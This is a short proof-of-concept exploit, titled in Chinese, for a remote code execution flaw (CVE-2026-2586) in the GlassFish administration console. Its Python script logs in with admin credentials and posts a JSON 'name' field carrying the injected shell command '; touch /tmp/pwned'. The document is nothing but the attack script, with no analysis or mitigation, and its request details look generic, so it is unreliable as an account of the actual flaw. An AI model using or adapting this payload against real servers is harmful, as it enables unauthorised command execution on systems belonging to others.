CVE-2026-2586 GlassFish管理控制台远程代码执行漏洞

import requests # Target configuration target_url = "http://target-glassfish:4848/management/domain" username = "admin" password = "password" # Malicious payload to execute OS command (e.g., creating a file) payload = "; touch /tmp/pwned" # Authenticate and exploit session = requests.Session() login_payload = {"j_username": username, "j_password": password, "loginForm": "Login"} session.post(f"{target_url}/login", data=login_payload) # Send crafted request to trigger RCE exploit_headers = {"Content-Type": "application/json"} exploit_data = {"name": payload} response = session.post(target_url, json=exploit_data, headers=exploit_headers) if response.status_code == 200: print("[+] Payload sent successfully.") else: print("[-] Failed to send payload.")